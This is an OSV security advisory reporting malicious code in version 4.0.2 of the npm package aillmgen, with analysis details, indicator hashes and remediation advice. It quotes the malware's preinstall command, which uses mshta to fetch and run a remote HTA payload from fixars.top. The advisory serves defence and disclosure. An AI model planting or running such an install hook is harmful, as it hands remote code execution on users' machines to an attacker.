MAL-2026-5927

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/aillmgen/MAL-2026-5927.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-5927
Aliases
  • GHSA-cqfc-w7g9-4c7p
Published
2026-06-16T22:09:54Z
Modified
2026-06-23T17:16:24Z
Summary
Malicious code in aillmgen (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (5b303e830a204ad1ee237f0403a2844f5dce96fa3e3841392ce92d7f3f502341)

On npm install, the package's preinstall hook (preinstall.js) runs exec('cmd /c "mshta http://fixars.top"'), invoking the Windows mshta.exe binary to fetch and execute an HTA payload from http://fixars.top with the installer's privileges. mshta is a well-known living-off-the-land binary that executes arbitrary HTA/JScript/VBScript content directly from a remote URL, giving the operator of fixars.top remote code execution on any Windows machine that installs this package. The remote endpoint is plain HTTP and attacker-mutable, and the behavior is unrelated to the package's stated LLM-client purpose (the library code references an EasyLLMClient targeting api.easyllm.ai while the package itself is published under the unrelated name aillmgen with empty author and description metadata). The combination of install-time RCE, plaintext attacker-controlled fetch-and-execute, impersonation of an LLM-client utility, and placeholder publisher metadata is a supply-chain dropper.

Source: ghsa-malware (3c501a30db0943bfa4f8416c41cc1cc1b3c26a897d7afd2f2ee9cf2e7589adb7)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-006837",
            "import_time": "2026-06-16T22:17:36.229900342Z",
            "modified_time": "2026-06-16T22:09:54Z",
            "sha256": "5b303e830a204ad1ee237f0403a2844f5dce96fa3e3841392ce92d7f3f502341",
            "source": "amazon-inspector",
            "versions": [
                "4.0.2"
            ]
        },
        {
            "id": "GHSA-cqfc-w7g9-4c7p",
            "import_time": "2026-06-23T17:03:25.701769317Z",
            "modified_time": "2026-06-23T16:06:30Z",
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "sha256": "3c501a30db0943bfa4f8416c41cc1cc1b3c26a897d7afd2f2ee9cf2e7589adb7",
            "source": "ghsa-malware"
        }
    ]
}
References
Credits

Affected packages

npm / aillmgen

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected

Affected versions

4.*
4.0.2

Database specific

cwes
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators
{
    "evidence_files": [
        {
            "path": "preinstall.js",
            "sha256": "6531737cdf18669d076b7ff3bf8168ddc74828f385a4a037a47bd8767d11b889",
            "tlsh": "70b012d499453234b252a0e02c3060225807c441225055e0648c451d441741516235fd"
        },
        {
            "path": "package.json",
            "sha256": "8c76bc8aabe8bdbe6f4056c99588096e8cdf7a3d8b15cdbc0beb4d136f057966",
            "tlsh": "2ed02e388da3e93328c006620c2a9056b2e08f0f04143c0da3cf192c469e673b8ff31e"
        }
    ],
    "package_integrity": [
        {
            "filename": "aillmgen-4.0.2.tgz",
            "hashes": {
                "sha1": "e558ff2c70c4434472e0f213073faf72c1accd8e",
                "sha512_sri": "sha512-/xoVe3G6bgDxVKZL0AzmWznijt4WejB7NioxzFLzY/toq/W7HnkE7/QljuglUa2M1nPu9RawnDh7ceULiijFnA=="
            }
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/aillmgen/MAL-2026-5927.json"